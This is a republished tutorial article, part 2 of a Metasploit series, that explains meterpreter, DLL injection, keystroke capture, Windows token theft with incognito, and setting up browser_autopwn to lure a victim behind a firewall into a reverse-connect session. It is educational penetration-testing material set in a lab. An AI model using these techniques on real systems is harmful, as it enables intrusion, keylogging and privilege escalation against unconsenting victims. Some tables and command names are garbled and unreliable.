Metasploit tutorial part 2: Using meterpreter

Karthik R, Contributor

You can read the original story here, on SearchSecurity.in.

In Part I of our Metasploit tutorial, we covered the basics of the Metasploit Framework (MsF), created a simple exploit on a target system, and used payloads to achieve specific results. The disadvantage of using specific payloads is that alarms may be triggered when a new process starts in the target system. Ideally, a payload should avoid creation of a new process, containing all activity within the scope of the payload itself. It should allow for writing scripts, but without creating new files on disk, since this could trigger the antivirus software.

All these drawbacks can be avoided by using meterpreter in Metasploit. Meterpreter is a post-exploitation tool based on the principle of ‘in memory DLL injection’. This circumvents the drawbacks of using specific payloads, while enabling the writing of commands and ensuring

---

**Figure 1.** payload-> windows/meterpreter/bind_tcp. This will bind to port 4444 of 192.168.13.30

---

http://searchsecurity.techtarget.in/tip/Metasploit-tutorial-part-2-Using-meterpreter
encrypted communication. **DLL injection** makes the target run the injected DLL by creating a new process in the target that calls the injected DLL. For this to happen, we need a DLL injector, a target system, and the DLL to be injected.

We will use the same lab setup as explained in [Part I of this Metasploit tutorial](http://searchsecurity.techtarget.in/tip/Metasploit-tutorial-part-2-Using-meterpreter). However, the payload used here is as shown in Figure 1. When exploitation is complete, we get a meterpreter console to the remote system. The actual process is described in Figure 2.

![Figure 2. The Meterpreter workflow.](http://searchsecurity.techtarget.in/tip/Metasploit-tutorial-part-2-Using-meterpreter)

Meterpreter’s command set includes core commands, stdapi commands and privilege escalation commands. Figure 3 shows details of the command set available under stdapi, obtainable by typing ‘?’ in the meterpreter console.
Figure 3. Stdapi networking commands and system commands

The server-side support DLL is running on the target under the stdapi module, loaded by default with meterpreter. The migrate command helps shift the work environment on the target from one process to the next. This is useful if the service on which the payload is initially bound stops unexpectedly on the remote system.

**Payload terminology**

- **Single**: Self-contained payload that does a specific task.
- **Stager**: Facilitates delivery of large payloads in one shot, and creates a network connection between the attacker’s and victim’s machines.
- **Stages**: This enables download of other payloads to be used in the exploitation phase, using the connections created by the stager. These may include VNC, meterpreter, and so on.

Similarly, there are networking commands and system commands that we should examine as part of this Metasploit tutorial. Keystroke capturing is easily accomplished using the stdapi UI command set. Keyscan_start starts the service, and keyscape_dump shows captured keystrokes.

[http://searchsecurity.techtarget.in/tip/Metasploit-tutorial-part-2-Using-meterpreter](http://searchsecurity.techtarget.in/tip/Metasploit-tutorial-part-2-Using-meterpreter)
Stealing windows tokens and impersonation

The Windows security model assigns every user unique SID (Security Identifier). Every thread for each user has an associated primary token which contains information on aspects like privileges and groups. Using an impersonation token, a process or thread can temporarily assume identity of some other user. Once this is used up, the thread assumes the primary token again.

Attacks based on impersonation tokens

1. Local privilege escalation
Suppose a low privilege process runs in the system that has an admin authentication, there would be an impersonation token available for the admin. Now, if an attacker breaks in using some exploit, he would have access to the impersonation token for the admin.

2. Domain privilege escalation
Here the attacker hops to other machines over the network using the impersonation token.

This can be accomplished in our Metasploit tutorial using incognito in the meterpreter console as shown in Figure 4. Use commands such as list_tokens, steal_tokens and impersonate_token intuitively to carry out operations.

Figure 4. List of all available extensions for meterpreter, including incognito

http://searchsecurity.techtarget.in/tip/Metasploit-tutorial-part-2-Using-meterpreter
The use command is used to interact with a module of a given name.

```
msf > use auxiliary/server/browser_autopwn
[-] Failed to load module: auxiliary/server/browser_autopwn
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > show options
```

Module options:

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>LHOST</td>
<td>yes</td>
<td></td>
<td>The IP address to use for reverse-connect payload</td>
</tr>
<tr>
<td>SRWHOST</td>
<td>0.0.0.0</td>
<td>yes</td>
<td>The local host to listen on</td>
</tr>
<tr>
<td>SRWPORT</td>
<td>8880</td>
<td>yes</td>
<td>The local port to listen on</td>
</tr>
<tr>
<td>SSL</td>
<td>false</td>
<td></td>
<td>Negotiate SSL for incoming connections</td>
</tr>
<tr>
<td>SSLVersion</td>
<td>SSL3</td>
<td>no</td>
<td>Specify the version of SSL that should be used</td>
</tr>
<tr>
<td>URI</td>
<td>ed: SSL2, SSL3, TLS1</td>
<td>no</td>
<td>The URI to use for this exploit (default is random)</td>
</tr>
</tbody>
</table>

```
msf auxiliary(browser_autopwn) > set LHOST 192.168.13.130
LHOST => 192.168.13.130
msf auxiliary(browser_autopwn) > show options
```

Module options:

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>LHOST</td>
<td>192.168.13.130</td>
<td>yes</td>
<td>The IP address to use for reverse-connect payload</td>
</tr>
</tbody>
</table>

---

**Figure 5.** The auxiliary module browser_autopwn is used to gain information about a victim behind the firewall

**Client-side exploits behind firewalls**

If the target is behind a firewall or NAT, the attacker must present the victim with a link that will redirect him to the attacker’s machine, which is in fact a Metasploit instance. This is required since directly probing the target is not possible.

After setting values, type the `run` command. The server gets activated and exploits get loaded for different browsers. While sending a link to the victim, it should redirect to the attacker’s Msf instance. Once the victim clicks on the link, a meterpreter session starts in the attacker’s machine, granting access to the victim’s machine.

In this second part of the Metasploit tutorial, we examined meterpreter concepts and command sets along with a scenario that could easily be tweaked to fit specific needs. Stay tuned for the next part of our Metasploit tutorial for advanced topics and concepts on the Metasploit Framework.

---

[http://searchsecurity.techtarget.in/tip/Metasploit-tutorial-part-2-Using-meterpreter](http://searchsecurity.techtarget.in/tip/Metasploit-tutorial-part-2-Using-meterpreter)
About the author: Karthik R is a member of the NULL community. Karthik completed his training for EC-council CEH in December 2010, and is at present pursuing his final year of B.Tech in Information Technology, from National Institute of Technology, Surathkal. Karthik can be contacted on rkarthik.poojary@gmail.com. He blogs at [http://www.epsilonlambda.wordpress.co](http://www.epsilonlambda.wordpress.co).

You can subscribe to our twitter feed at @SearchSecIN. You can read the [original story here](http://www.epsilonlambda.wordpress.co), on SearchSecurity.in.